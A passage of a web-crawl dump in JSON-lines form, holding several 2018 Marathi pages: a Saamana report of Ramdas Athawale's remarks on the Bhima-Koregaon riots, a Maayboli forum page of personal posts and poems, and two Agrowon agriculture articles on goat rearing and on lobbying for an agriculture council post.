करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00259.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.saamana.com/bhima-koregaon-riots-and-elgar-parishad-ramdas-athawale/", "date_download": "2018-09-25T17:40:30Z", "digest": "sha1:TLJ6CAWYAMH2SY5BK2HWVAC5XCMBA7JB", "length": 18424, "nlines": 261, "source_domain": "www.saamana.com", "title": "आठवले म्हणतात, भीमा-कोरेगाव दंगल व एल्गार परिषदेचा संबंध नाही… | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nधोनीच्या चपळाईपुढे अफगाणिस्तानी फलंदाजाची शरणागती\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला तिसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nआठवले म्हणतात, भीमा-कोरेगाव दंगल व एल्गार परिषदेचा संबंध नाही…\nआंबेडकरवाद्यांनी नक्षलवादी बनू नये तसेच नक्षलवाद्यांना आंबेडकरवादी म्हणू नये, असे रामदास आठवले म्हणाले. तसेच शांतीच्या मार्गाने सर्वांनी जायला पाहिजे, अशी आपली भावना आहे. जे नक्षलींचे काम करत आहेत त्यांच्यावरच कारवाई केली जात आहे. मीसुद्धा अनेक वेळेला संघर्ष करून मत मांडलेली आहेत म्हणून मला कोणी नक्षलवादी ठरवलेले नाही. बाळासाहेब आंबेडकरांचा नक्षलवाद्यांशी संबंध नाही, असेही आठवले यांनी यावेळी सांगितले. ते नगर येथे बोलत होते.\nएल्गार परिषदेने दंगा केलेला नाही\nभीमा-कोरेगाव दंगल व एल्गार परिषदेचा काहीही संबंध नाही, असे ते म्हणाले. एल्गार परिषदेने दंगा केलेला नाही. दलितांवर हल्ला झाल्याने दंगा झाला, असे सांगून ते पुढे म्हणाले की, संभाजी भिडे गुरुजींच्या संदर्भात पुरावे मिळालेले नाहीत असे मुख्यमंत्री देवेंद्र फडणवीस यांनी सांगितले आहे. आम्ही त्यांना पुन्हा पुरावे तपासा अशी मागणी केली असल्याचेही त्यांनी यावेळी सांगितले. कायद्यापेक्षा कुणीही मोठे नाही असेही ते म्हणाले.\n… म्हणून एल्गार परिषदेच्या कार्यकर्त्यांचे अटकसत्र नाही\nदाभोळकर प्रकरणात सनातनच्या कार्यकर्त्यांना अटक केल्यानंतर जनतेचे लक्ष विचलित करण्यासाठी एल्गार परिषदेच्या कार्यकर्त्यांचे अटकसत्र सुरू केल्याचा आरोप त्यांनी फेटाळून लावला. दोन्ही घटना वेगवेगळ्या असून पोलिसांना मिळालेल्या पुराव्यांनुसार ही कारवाई सुरू असल्याचे त्यांनी स्पष्ट केले. विचारवंतांना न पकडता नक्षलवाद्यांना पकडावे, असे ते म्हणाले.\nहिंदुत्ववाद पुढे येतोय असा कोणताही विषय नाही. हिंदूंच्या आवाजाला सरकार प्रोत्साहन देते, असेही कुठे घडलेले नाही. ‘उलट सबका साथ, सबका विकास’ हा मोदींनी दिलेला नारा असून ते दलित-मुस्लिम सर्व घटकांना बरोबर घेऊन विकास साधत आहेत, असेही आठवले यांनी सांगितले.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलकराड-विटा राष्ट्रीय महामार्गासाठी २५३ कोटी, दीड वर्षात काम पूर्ण होणार\nपुढीलगणेशभक्तांना चांगली सेवा द्या, सभापती राजन जाधव यांच्या सुचना\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nधोनीच्या चपळाईपुढे अफगाणिस्तानी फलंदाजाची शरणागती\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा दाखल\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nधोनीच्या चपळाईपुढे अफगाणिस्तानी फलंदाजाची शरणागती\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00259.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://www.maayboli.com/taxonomy/term/128", "date_download": "2018-09-25T17:15:42Z", "digest": "sha1:ODF7ATDOLG67B55ZUJZLTDUDIZ5V2XHE", "length": 18958, "nlines": 259, "source_domain": "www.maayboli.com", "title": "मुंबई : शब्दखूण | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /भारत /महाराष्ट्र /मुंबई\nडोळसांनाही आदर्श ठरावी अशी चारुदत्ताची कहाणी\nमी बरीच वर्षे मायबोलीवर आहे परंतु लिखाण करण्यापेक्षा वाचण्यातच रमते. आज अंधांच्या आशियाई बुद्धिबळ स्पर्धेत भारताला सुवर्ण रौप्य आणि कांस्य पदकं मिळाली. त्या निमित्त चारुदत्त जाधव या व्यक्तिमत्वाचा परिचय माझे पती श्री उदय ठाकूरदेसाई यांनी त्यांच्या वेबसाइट वर लिहिला आहे. तो मायबोलीकरांपुढे ठेवत आहे. प्रतिक्रियांच्या प्रतीक्षेत \nRead more about डोळसांनाही आदर्श ठरावी अशी चारुदत्ताची कहाणी\nअथांग आभाळाखाली मोकळ्या माळरानावर संपूर्णच्या संपूर्ण रात्र घालवणे ही कल्पनाच खूप मनोहारी आहे.\nशहर-उपनगरांत रहाणाऱ्या प्रत्येकाच्या मनांत एक गाव असतं. कधीकाळी त्या विशिष्ट गावी आभाळाकडे पहात मोकळ्या माळरानावर काढलेल्या आंधाऱ्या रात्रींचे क्षण आठवतात.\nकोणा भावंडांच्या साथीने अंगणात आजी आजोबांच्या कुशीत झोपी जाताना ऐकलेल्या नक्षत्रांच्या गोष्टी मनांत रुंजी घालतात.\nइवलीशी होतीस माझ्या पोटातून बाहेर आलीस तेव्हा;\nतुला जवळ घेतल्यावर डोळ्यांची तळी तुडुंब भरली होती तेव्हा..\nजन्मल्या दिवसापासून तुझ्यात गुंतून गेलं माझं जग;\nतुला जिवापाड जपताना काळजाची अजूनही होते तगमग..\nमनीमाऊच्या पिल्लासारखी घट्ट बिलगतेस तेव्हा आनंदाच्या लहरी उसळतात मनात;\n'आई,आज काय झालं माहितेय' हा तुझा पुकारा असतो प्रत्येक क्षणी माझ्या कानात..\nतुझं सर्वस्व असणाऱ्या बाबाची तू परी असलीस, तरी आईचं स्वतंत्र विश्व आहेस तू;\nतुझ्या निरागस हास्यापायी कितीही खाचखळगे पार करणाऱ्या हिरकणीची ताकद आहेस तू..\nद हिंदु चा लेख वाचला न मनात आल कि, आपले विचार मांडु. म्हणुच थोड कळु बोलतोय...... परंतु सत्य..........\n३/२/२०१७ द हिंदु वरुन सुचल........\nआपल्या भारताला गरज आहे. सत्य व निर्मळ निसर्गाची. नविन नविन पक्षि येतात न सुंदर असे आपल मन मोहक रुप आपल्या दर्शनाला घेवुन येतात. कोणताहि कर मागत नाहि कि, वाद करत नाहि. असे आकाशात एका ठिकानाहुन दुसरि कडे भ्रमन सतत सुरुच.....\nभारतात 'चिमणि' हा पक्षि सुद्धा तसाच.....\nपरंतु कुठे हरवला आहे तेच समजत नाहिये.\nत्याचि चिवचिव कणावर पडलि, का मन कस तृप्त झाल्या सारखच वाटत. सध्या हा आवाज नाहिसा होत आहे. नाहि का\nये आता मागे नाहि.........\nमि आजच प्रथम एक अभंग share करत आहे\nनिसर्गाने दिलेली एक सुंदर अशि वास्तु किंवा सौंदर्य.\nजणु समुद्राला हि हेवा वाटावा अस आपल जिवन.\nत्याला काहि नविन माझे मित्र- मैत्रिनि व्यसन अंगि कारुन स्वत:ला आगेत झोकुन देत आहेत.\nआपल शरिर म्हणजे काय exchange offer वाटली काय....\nम्हणुन एका अभंगातुन तुम्हाला नविन सुंदर अश्या जगात घेउन जात आहे. जणु रायगडाच्या पाय्थ्याला जसा झुरु झुरु वाहणारा वारा, थंडित शरिराला गरम उब देनारी, मायच्या साडिची गोधडिच. असच वाटेल हि शरिराला मुक्ति देनारा अभंग.......\nनिसर्गाचि देन अभंग \"शरिर\"\nहात करि कृत्य, पाय करि वाटचाल\nज्याच्या त्याच्या हाती आहे, कर्तवव्याचे माफ\nहात जाइ पुढे पुढे\nदेव मोठा की राजा...\nया राजाचे आगमन, त्या राजाचे आगमन... एक कळेना... देव मोठा की राजा... अरे प्रेम येतंय ना दाटून अरे प्रेम येतंय ना दाटून मग प्रेमाने बाप्पा हाक मारा की ... त्यालाही आवडेल ... स्पर्धेत न उतरवल्याचं समाधान त्या वक्रतुंडाच्या चेहऱ्यावरही झळकेल...\nबाकी शहाण्याला शब्दांचा मार...\nदेव हा भावाचा भुकेला... आता त्याचा 'भाव' नका करू ओ...\nदेव मोठा की राजा...\nबघता बघता श्रावण महिना येईल आणि व्रतवैकल्य चालू होतील. मंगळागौर ही त्यातील एक. ही माझी पहिलीच मंगळागौर असल्यामुळे अर्थातच थाटामाटात होणार आणि उखाणे घ्यावेच लागणार. मला मंगळागौरी साठी उखाणे सुचवावेत.\nRead more about मंगळागौर उखाणे\nडोर को सुलझा रहा है और सिरा मिलता नही\nखूप वर्षांपूर्वीची गोष्ट आहे. शाळा-कॉलेजच्या वर्षात आम्ही बिल्डींग मधली पोरं गच्चीवर क्रिकेट खेळायचो. त्या वेळेस चे पनवेल म्हणजे उंच इमारती नसलेलं आणि विशेष रहदारी नसलेलं देखील. कमी लोकांकडे गाड्या असल्यामुळे सबंध अवकाशात होर्नचा कोलाहल नसलेलं पनवेल. संध्याकाळी किंवा रात्री तीन मजल्यांच्या इमारतीच्या गच्चीवर देखील वरून जाणाऱ्या विमानाचा स्वछ आवाज ऐकू येणारे पनवेल त्या वेळेस संध्याकाळी ६:३० च्या सुमारास घरापासून साधारण २० मिनिटे अंतरावर असलेल्या मशिदीतून अझान सुरु होयची.\nRead more about डोर को सुलझा रहा है और सिरा मिलता नही\nबर्‍याच काळापासून होणार होणार म्हणत असलेले बोरिवलीत गटग\nबोरिवली स्टेशन जवळचे राधाकृष्ण हॉटेल, डायमंड टॉकिज आणि गोयल शॉपिंग सेंटरच्या डायगोनली ऑपझिट\nविरारपासून मीरा रोड, बोरिवली, कांदिवली, मालाड, गोरेगाव पासून पुढची मुंबई,\nमुलुंड ठाणे पासून कल्याण बदलापूर इथपर्यंतच्या आणि अगदी कुलाब्यापर्यंत कुठेही राहणार्‍या\nअगदी मुंबई बाहेरही कुठेही राहणार्‍या माबोकरांनी आवर्जून यावे. आपले मायबोलीचेच गटग आहे.\nकोणकोण येउ शकेल ह्याची कृपया इथे नोंद करावी ही विनंती. आपण बारा पंधरा लोक असू तर राधाकृष्णची पार्टी रूम आपल्याला (ऑलमोस्ट) एक्स्लुसिव्हली वापरता येईल. दंगा करता येईल. पण आधी समजले पाहिजे तर तिथे सांगून ठेवता येईल.\nRead more about बर्‍याच काळापासून होणार होणार म्हणत असलेले बोरिवलीत गटग\nमध्य कोकणातलं मारळ सारखं एक अतिदुर्गम, जेमतेम तीसेक घरांच खेडेगाव, याच गावातला एक हुशार मुलगा विजय, घरच्या बेताच्या परिस्थितीवर मात करत आपल्या अफाट बुद्धिमत्तेच्या जोरावर रत्नागिरीसारख्या शहरी भागात जाउन स्वतःच शिक्षण उत्तमरीत्या पूर्ण करतो, तिथेचं कॉलेजात त्याच्या बरोबरच शिकत असणाऱ्या वीणाबरोबर अतिशय घनिष्ट मैत्री आहे, वीणा त्याला मनापासून आवडते, तिलाही हि गोष्ट माहित आहे आणी तिची त्याला मूकसंमती सुद्धा आहे, विजय तिच्यावर अगदी मनापासून प्रेम करतो पण त्यावेळची परिस्थिती पाहता प्रेमापेक्षा शिक्षण पूर्ण करण्याची जिद्द आणी गरज ओळखुन विजय आपलं प्रेम तिच्यापुढे व्यक्त करू शकत नाही आणी तेव्हाच तो\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00259.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.agrowon.com/agricultural-success-story-marathi-belwadi-dist-jalna-agrowon-maharashtra-6822", "date_download": "2018-09-25T17:46:44Z", "digest": "sha1:F2OTLISO53RT3UUT2VFK7ARWBVYLC3B7", "length": 16318, "nlines": 157, "source_domain": "www.agrowon.com", "title": "agricultural success story in marathi, belwadi dist. jalna , Agrowon, Maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nशेळीपालनाने कमी केले शेतीवरचे अवलंबित्व\nशेळीपालनाने कमी केले शेतीवरचे अवलंबित्व\nरविवार, 25 मार्च 2018\nशेतीला पूरक उद्योगाची जोड म्हणून संतोष बिल्हारे यांनी २०१६ मध्ये शेळीपालनाला सुरवात केली. अर्धबंदिस्त शेळीपालनातून त्यांना वर्षाला किमान ८० हजारांचा आर्थिक हातभार लागतो. चार शेळ्यांपासून सुरू केलेला हा व्यवसाय आता वीस शेळ्यांवर पोहचला आहे. पुढे शेळ्यांची संख्या किमान ५० पर्यंत नेण्याचा त्यांचा प्रयत्न अाहे.\nशेतीला पूरक उद्योगाची जोड म्हणून संतोष बिल्हारे यांनी २०१६ मध्ये शेळीपालनाला सुरवात केली. अर्धबंदिस्त शेळीपालनातून त्यांना वर्षाला किमान ८० हजारांचा आर्थिक हातभार लागतो. चार शेळ्यांपासून सुरू केलेला हा व्यवसाय आता वीस शेळ्यांवर पोहचला आहे. पुढे शेळ्यांची संख्या किमान ५० पर्यंत नेण्याचा त्यांचा प्रयत्न अाहे.\nबिल्हारे यांची चार एकर कोरडवाहू शेती अाहे. शेतीतून कुटुंबाचा चरितार्थ चालविणे अवघड जात होते. या आर्थिक विवंचनेतून कमी गुंतवणुकीत केला जाणारा शेळीपालन व्यवसाय करण्याचे त्यांनी ठरवले. नोव्हेंबर २०१६ मध्ये १९ हजारांमध्ये ४ उस्मानाबादी शेळ्या खरेदी केल्या. त्यांच्याकडे अाज २० शेळ्या अाहेत. त्यामध्ये करडं विकून घेतलेल्या सहा व घरच्याच शेळ्यांपासून मिळालेल्या दहा शेळ्यांचा समावेश आहे.\nसकाळपासून दुपारी दोन वाजेपर्यंत शेळ्या बंदिस्त असतात. दुपारी दोन नंतर आसपासच्या परिसरात सर्व शेळ्या ते स्वत: चारण्यासाठी घेऊन जातात.\nसायंकाळी शेळ्यांना ओला अाणि सुका चारा दिला जातो. अोल्या चाऱ्यासाठी अर्धा एकर क्षेत्रावर शेवरी, तूती अाणि दीनानाथ गवताची लागवड केली आहे. सोयाबीन, तूर, हरभरा अाणि ज्वारीचा कडबा सुका चारा म्हणून दिला जातो.\nतुतीची पाने जाड अाणि मोठी असतात शिवाय शेळ्या ती अावडीने खातात. तुतीचा पाला शेळ्यांना हवा तेव्हा उपलब्ध होण्यासाठी गोठ्यामध्ये बांधून ठेवला जातो.\nसकाळी शेळ्यांना सोयाबीन, गहू अाणि मक्याचा भरडा दिला जातो.\nउस्मानाबादी शेळ्या काटक असल्यामुळे त्या प्रतिकूल हवामानातही तग धरून राहतात असा बिल्हारे यांचा अनुभव अाहे. खबरदारी म्हणून सर्दी, हगवण, ताप, जखमा इ. अाजारांवर पशुवैद्यकानी दिलेली अाैषधे गोठ्यामध्ये असतात.\nतीन महिन्यांतून एकदा शेळ्यांना जंतनाशक देण्यावर त्यांचा कटाक्ष असतो. त्यामुळे शेळ्यांचे अारोग्य चांगले राहते.\nवीस शेळ्यांपासून त्यांना वर्षाकाठी तीन ट्रॉली लेंडी खत मिळते. त्यामुळे खतावरील खर्चात बचत झाली अाहे.\nआजपर्यंत त्यांनी १६ ते १७ करडांची विक्री अाहे. साधारणपणे प्रति करडू साडेचार ते पाच हजार रु. दर मिळाला.\nसंपर्क : संतोष बिल्हारे, ८३२९६०१६२५\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nप्रथिनांचा उत्तम स्राेत ः गुणवंत चारापीकराहुरी येथील महात्मा फुले कृषी विद्यापीठाने...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nमॉन्सूनची माघार शनिवारपासूनपुणे : नैऋत्य मोसमी वाऱ्यांच्या (माॅन्सून)...\nसेंद्रिय शेतीसाठी शासनाच्या विविध योजनासेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि...\n‘जलयुक्त’ गैरव्यवहाराची फाइल पुन्हा...पुणे : जलयुक्त शिवार योजनेत बीड जिल्ह्यात...\nमहसूल उत्पन्न सूत्राचे ऊसदरामध्ये...पुणे : महसुली उत्पन्न विभागणीनुसार राज्यातील...\nतुरळक ठिकाणी पावसाचा अंदाजपुणे : ‘दाये’ चक्रीवादळ निवळून गेल्यानंतर राज्यात...\nमोदींनी सर्वात मोठी आरोग्य योजना '...रांची- पंतप्रधान नरेंद्र मोदी यांनी झारखंडची...\nकृषिपंपासाठी बड्या कंपन्यांच्या निविदाबारामती - राज्यातील दोन लाख ९० हजार शेतकऱ्यांच्या...\nमराठवाड्यातील ८६४ प्रकल्पांत ३३ टक्‍केच...औरंगाबाद : मराठवाड्यातील पाणीसाठ्यांमधील उपयुक्‍त...\nऊस ठिबक योजनेसाठी लेखापरीक्षकाची नेमणूक पुणे : राज्यात ऊस लागवडीसाठी ठिबक अनुदान...\nइथेनॉलमधील फरक ओळखण्यासाठी यंत्रणानवी दिल्ली ः देशात तीन प्रकारच्या मोलॅसिसपासून...\n‘ग्लायफोसेट’वर बंदी नाहीपुणे : मानवी आरोग्याला धोकादायक असल्याचा कोणताही...\nविदर्भात पावसाची दमदार हजेरीपुणे : बंगालच्या उपसागरातील ‘दाये’ वादळाने बाष्प...\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nकांदाचाळीसाठी सव्वाशे कोटींचा निधीनगर ः एकात्मिक फलोत्पादन विकास...\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nमहाराष्ट्राची सिंचनक्षमता आता 40 लाख...मुंबई - शेतीयोग्य जमिनीतील केवळ 18 टक्‍के...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00260.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-agrowon-lobbing-former-ias-officer-agriculture-council-7350", "date_download": "2018-09-25T17:55:19Z", "digest": "sha1:WS3B4VMMHCZO6CNLUOHSA4CKUOC5MDJE", "length": 20663, "nlines": 155, "source_domain": "www.agrowon.com", "title": "agriculture news in Marathi, agrowon, Lobbing from former IAS officer for Agriculture Council | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nमाजी आयएएस अधिकाऱ्याचे कृषी परिषदेसाठी लॉबिंग\nमाजी आयएएस अधिकाऱ्याचे कृषी परिषदेसाठी लॉबिंग\nगुरुवार, 12 एप्रिल 2018\nपुणे : महाराष्ट्र राज्य कृषी शिक्षण व संशोधन परिषदेचे उपाध्यक्षपद मिळविण्यासाठी एका सनदी अधिकाऱ्याने जोरदार लॉबिंग केले आहे; तर दुसरीकडे कृषी विद्यापीठे सेवा प्रवेश मंडळाचे अध्यक्षपद एका राष्ट्रीय पातळीवरील कृषी शास्त्रज्ञाकडे जाऊ नये म्हणून फाइल दाबून ठेवण्यात आल्याची माहिती उच्चपदस्थ सूत्रांनी दिली.\nपुणे : महाराष्ट्र राज्य कृषी शिक्षण व संशोधन परिषदेचे उपाध्यक्षपद मिळविण्यासाठी एका सनदी अधिकाऱ्याने जोरदार लॉबिंग केले आहे; तर दुसरीकडे कृषी विद्यापीठे सेवा प्रवेश मंडळाचे अध्यक्षपद एका राष्ट्रीय पातळीवरील कृषी शास्त्रज्ञाकडे जाऊ नये म्हणून फाइल दाबून ठेवण्यात आल्याची माहिती उच्चपदस्थ सूत्रांनी दिली.\nमहाराष्ट्र राज्य कृषी शिक्षण व संशोधन परिषदेचे तत्कालीन उपाध्यक्ष डॉ. राम खर्चे यांचे तीन वर्षांचे वतन खालसा केल्यानंतर बहुतेक कृषी शास्त्रज्ञांनी सुटकेचा निःश्वास टाकला आहे. डॉ. खर्चे यांनी विद्यापीठे भरती मंडळाच्या अध्यक्षपदावर स्वतःच्या नियुक्ती करून घेण्याचा स्वतः काढलेला आदेशदेखील राज्य शासनाने रद्द केला.\nडॉ. खर्चे यांच्या कारभाराला दापोलीच्या डॉ. बाळासाहेब सावंत कोकण कृषी विद्यापीठातील शैक्षणिक कर्मचारी संघाचे अध्यक्ष डॉ. विठ्ठल गोविंद नाईक यांनी मुंबई उच्च न्यायालयात आव्हान दिलेले आहे. कृषी परिषदेच्या उपाध्यक्षाला तीन वर्षे राज्यमंत्र्याचा दर्जा मिळतो. डॉ. खर्चे यांनी बेकायदा कामे करूनही त्यांना राज्यमंत्र्याचा दर्जा उपभोगला. आता एका माजी सनदी अधिकाऱ्याला उपाध्यक्षपदाचा मोह झालेला आहे, अशी माहिती सूत्रांनी दिली.\nराज्य सरकारमधील एका उच्चपदस्थाला या माजी सनदी अधिकाऱ्याने संपर्क साधला आहे. कृषी हा माझ्या आवडता विषय असून, कृषी परिषदेच्या माध्यमातून मी शेतकरी वर्गाची सेवा करू इच्छितो, अशी विनंती या अधिकाऱ्याने केली. अर्थात, राजकीय व्यक्तीपेक्षा परिषदेला माजी सनदी अधिकारी उपाध्यक्ष म्हणून मिळाल्यास गोंधळ कमी होईल, असे मत सूत्रांनी व्यक्त केले आहे.\nपरिषदेमध्ये डॉ. खर्चे यांनी घेतलेल्या निर्णयांची चौकशी केली जाणार आहे. परिषदेभोवती घोंगावणाऱ्या चौकशा आणि कोर्टकचेऱ्याचे वादळ बघता विद्यमान महासंचालक रवींद्र जगतापदेखील बदली मागवून घेण्याची दाट शक्यता आहे. राज्य शासनाने महासंचालक हाच महाराष्ट्र राज्य कृषी विद्यापीठे भरती मंडळाचा सचिव म्हणून काम करणार असल्याचे स्पष्ट केले आहे.\nमंडळाकडून भविष्यात होणाऱ्या नियुक्त्या वादात सापडण्याची शक्यता असल्यामुळे श्री. जगताप यांना महासंचालक आणि सचिवपद ही मोठी जोखीम वाटते, असेही सूत्रांनी स्पष्ट केले.\nदरम्यान, महाराष्ट्र राज्य कृषी विद्यापीठे भरती मंडळाचे अध्यक्षपद डॉ. सी. डी. मायी यांच्यासारख्या उच्चविद्याविभूषित कृषी शास्त्रज्ञाकडे द्यावे, असे मत काही शास्त्रज्ञांनी व्यक्त केले आहे. डॉ. मायी यांनी देशाच्या कृषी शास्त्रज्ञ भरती 